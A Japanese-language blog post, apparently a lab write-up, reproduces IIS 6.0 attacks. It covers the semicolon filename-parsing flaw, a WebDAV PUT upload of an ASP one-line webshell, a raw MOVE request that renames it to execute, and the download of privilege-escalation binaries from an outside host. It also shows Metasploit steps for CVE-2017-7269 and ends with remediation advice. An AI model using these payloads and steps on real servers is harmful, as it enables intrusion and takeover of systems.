banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

IIS 6.0の脆弱性再現

はい、冷飯を炒めます

0x01 事の発端#

漏れたターゲット環境を整理します。ターゲット環境自体は非常にシンプルで、アイデアを出すためのもので、主にいくつかの良い記事を共有したいと思います。

0x02 脆弱性の紹介#

IIS 6.0 解析脆弱性の紹介#

IIS は Internet Information Services の略で、インターネット情報サービスを意味し、マイクロソフト社が提供する Microsoft Windows に基づくインターネット基本サービスです。IIS は現在、Windows システムにのみ適用され、他のオペレーティングシステムには適用されません。

IIS6の解析脆弱性はファイル名に基づいており、このバージョンはデフォルトで*.asp;.jpgの形式のファイル名をAspとして解析します。原理としては、サーバーがデフォルトで;以降の内容を解析しないため、相当する部分が切り捨てられます。

さらに、IIS6.x は拡張子が.asp のファイルを asp として解析するだけでなく、拡張子が.asa、.cdx、.cer のファイルもデフォルトで asp として解析します。
ウェブサイトのプロパティ -> メインディレクトリ -> 設定から見ると、これらはすべて asp.dll を呼び出して解析されています。

IIS PUT 脆弱性の紹介#

IIS 6.0 PUT アップロード脆弱性。この脆弱性は、IIS サーバーが Web サービス拡張で WebDAV を有効にしていることが原因です。そして、管理者が権限を設定する際に最小権限の原則を遵守しなかったため、IIS に書き込み権限を設定しました。これにはウェブサイトのルートディレクトリが含まれます。

IIS 書き込み権限脆弱性とも呼ばれます

0x03 ターゲット環境の再現#

課題の説明#

ターゲット環境のアドレス

背景紹介:

ある日、セキュリティエンジニア「墨者」が内部ネットワークの権限スキャンを行っていると、Windows2003 のサーバーを発見しました。ウェブサービスが有効になっており、オーナーの従業員はそれがデバッグサーバーであり、IIS6.0 のみがインストールされていて、コードプログラムは一切ないため、安全上の問題はないと主張しました。「墨者」はそれを聞いて興奮し、ツールを手に取り、行動を開始しました~~~~~~

実習目標

  • IIS WebDAV のセキュリティ設定を理解する
  • HTTP 標準メソッド以外の他のメソッドを理解する
  • HTTP PUT メソッドのテスト利用を習得する
  • IIS6 の異常解析脆弱性とその利用テスト方法を理解する

解題の方向性

プログラムスクリプトをアップロードして WEB の権限を取得する;
PS:既存のツールに過度に依存しないでください!

課題はこのように表示されます:

image

思考の探求#

まず、iisのバージョンを確認します。ブラウザのプラグインWappalyzerを使用するか、OPTIONSリクエストメソッドを使用して確認できます:

HTTP1.0 では 3 つのリクエストメソッドが定義されています:GET、POST、HEAD
HTTP1.1 では 5 つの新しいリクエストメソッドが追加されました:OPTIONS、PUT、DELETE、TRACE、CONNECT

curl -X OPTIONS http://xxx.xxx.xxx.xxx:yyy/ -I

image

バージョンは6.0であることが確認できます。

burp 手動操作#

まず手動で操作してみます。ツール党になることはお勧めしません。

GETOPTIONSに変更して実行可能なコマンドを確認します:

image

次に、ASPの一行をPUTして、ファイル名は適当に2.txtなどとします:

<%eval request("soapffz")%>

image

201 Createdが返され、作成が成功しました。

PS:

ここで注意が必要なのは、GETPUT 2.txtに変更するだけではなく、後ろにあるスラッシュ/を削除することを忘れないでください。

私も最初は半日かかりましたが、解析の考え方についてコメント欄で多くの人が試しても成功しなかったと言っていたので、自分でリクエスト文とHOSTを手書きすることで成功しました。

私が見たところ、みんなこのスラッシュを削除していなかったので、問題を解く際は細心の注意が必要です。

その後、MOVEコマンドを使用して2.txt2.asp;.jpgに変更し、解析脆弱性でaspを解析させます。

核心となる文は以下の通りです;

MOVE /2.txt HTTP/1.1
Host: ip:ポート
Destination: /2.asp;.jpg
<%eval request("soapffz")%>

image

401 Unauthorizedが返されますが、これは問題ありません。直接、蚁剑に接続します:

image

成功してflagを取得しました。

ツール操作#

IIS Put Scanner v1.3、出典はnosec、元のウェブページは既に見つかりませんが、簡単に検出できます:

image

PUTYESであることが確認でき、書き込み権限があることがわかります。もう一つのスキャンツールDotNetScanもあります:

image

aspのマルウェアをアップロードする場合は、有名なツール桂林老兵のiiswriteを使用します。

ソフトウェアのタイトルは:IIS書き込み権限の利用 / カスタムデータパケットの送信 - 桂林老兵作品(現在、ダウンロードはデフォルトで火绒に検出されています)

書き込み権限があることがわかったので、aspの拡張子をtxtに変更したマルウェアをアップロードします(txtファイルのみをアップロード可能です)。

<%eval request("soapffz")%>

201が返され、アップロードが成功したことを示しますが、この時点ではマルウェアは解析されません。再度、ツールのMOVEまたはCOPYメソッドを使用して拡張子をaspに変更します。

ただし、このツールには欠点があり、デフォルトでは80ポートのサイトのみをテストできるため、サイトが80ポート以外にある場合は使用できません:

image

0x04 サーバーを取得しようとする#

私の権限を確認してみましょう#

ターゲット環境が完了したので、続けて行わないと 4 つのターゲットコインが無駄になってしまいます。

権限を確認します:

image

whoamiすら実行できず、権限が非常に低いです。参考記事に基づいて:ウェブシェルを取得した後の仮想端末拒否アクセス

操作は以下の通りです;

cmd.exe と iis6.0.exe をダウンロードします。

https://sudo0m.coding.me/update/webshell/cmd.exe
https://sudo0m.coding.me/update/webshell/iis6.exe

その後、ウェブサイトのルートディレクトリにアップロードします。この時、アップロード時に蚁剑が500 Internal Serverエラーを報告しました。

image

菜刀を使用してアップロードに成功しました:

image

端末をcmd.exeに設定します:setp c:\inetpub\wwwroot\test.exe

その後、iis6.exeにコマンド実行コマンドを追加できます:

image

whoamiを実行したところ、すでにsystem権限になっていましたので、権限昇格の練習の機会はありませんでした。

secwikiWindows権限昇格GitHub プロジェクトを添付します。

CVE-2017-7269#

このexpの利用はそれほど簡単ではなく、参考記事:IIS6_WebDAV リモートコード実行脆弱性 (CVE-2017-7269) の正しい開き方

msfには自動的に利用できるモジュールexploit/windows/iis/iis_webdav_scstoragepathfromurlがありますが、実際には失敗しました:

image

利用失敗の原因#

失敗の原因はいくつかあります:

ポートとドメインのバインディング問題#

実際の環境では、iis がバインドしているドメインとポートがデフォルトではない場合があります。例えば:

デフォルトのバインディング:

image

非デフォルトのバインディング:

image

If ヘッダー情報内の 2 つの URL は、サイトのバインディングと一致する必要があります。そうでない場合、502 を受け取ることになります。ここで言う一致とは、if ヘッダー内の URL のポートがサイトのバインディングポートと一致する必要があり、if ヘッダー内のドメインは host ヘッダーと一致すれば良いです。

私のような実戦シーンでこのような状況に遭遇した場合、一般的にはどうしようもありません。なぜなら、サーバーは自分のものではなく、設定に入れないからです。

物理パス#

POC 内の If ヘッダーの最初の URL は物理パスとして解析されます。デフォルトでは C:\Inetpub\wwwroot\ であり、つまり 19 です。バッファをオーバーライドする際に埋め込む文字の長さは物理パスの長さに基づいて決定され、物理パスの長さ + 埋め込み文字の数 = 114 です。POC 内のものはデフォルトの物理パス(19 桁)に基づいて埋め込み文字の長さを計算しています。物理パスの長さが 19 桁でない場合、500 を受け取ります(ここでの物理パスの長さ計算方法には最後の \ を加える必要があります)。

物理パスの長さをブルートフォースし、脆弱性を検出するツールIIS6_WebDAV_Scannerがありますが、このターゲット環境では検出できません:

image

私のターゲット環境はデフォルトの物理パス、つまり長さ 19 ですので、物理パスの問題ではありません。

オンラインのexpを試してみて、expをダウンロードし、msfexploitディレクトリに置きます:

mv cve-2017-7269.rb cve_2017_7269.rb
(-を_に変更しないと認識されません)
mv cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/
use exploit/windows/iis/cve_2017_7269
(スクリプトが見つからない場合は、reload_allを実行し、msfを再起動してみてください)

0x05 脆弱性修正の提案#

IIS のリモート脆弱性には、バッファオーバーフロー、認証バイパス、サービス拒否、コード実行、情報漏洩脆弱性が主に含まれます。ローカル脆弱性は、情報漏洩と権限昇格脆弱性のカテゴリに分布しています。ほとんどの脆弱性は利用が難しいですが、一度攻撃者に利用されると、影響は IIS サーバーだけでなく、IIS を実行している Windows ホストにも及ぶ可能性があります。ユーザーのホストが利用されると、攻撃者はこのホストを肉鶏として内部ネットワークの他のホスト、サーバー、またはネットワークデバイスなどを攻撃することができ、その結果は想像を絶します。

マイクロソフトは IIS6.0 を脆弱性とは見なしておらず、IIS 6.0 のパッチをリリースしていないため、脆弱性は自分で修正する必要があります。

  • アップロードディレクトリの実行権限を制限し、スクリプトの実行を許可しない(画像は参考記事 1 から)

image

  • 新しいディレクトリの作成を許可しない

  • アップロードされたファイルはリネーム(タイムスタンプ + ランダム数 +.jpg など)する必要があります。

参考記事:

この記事は完了です。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。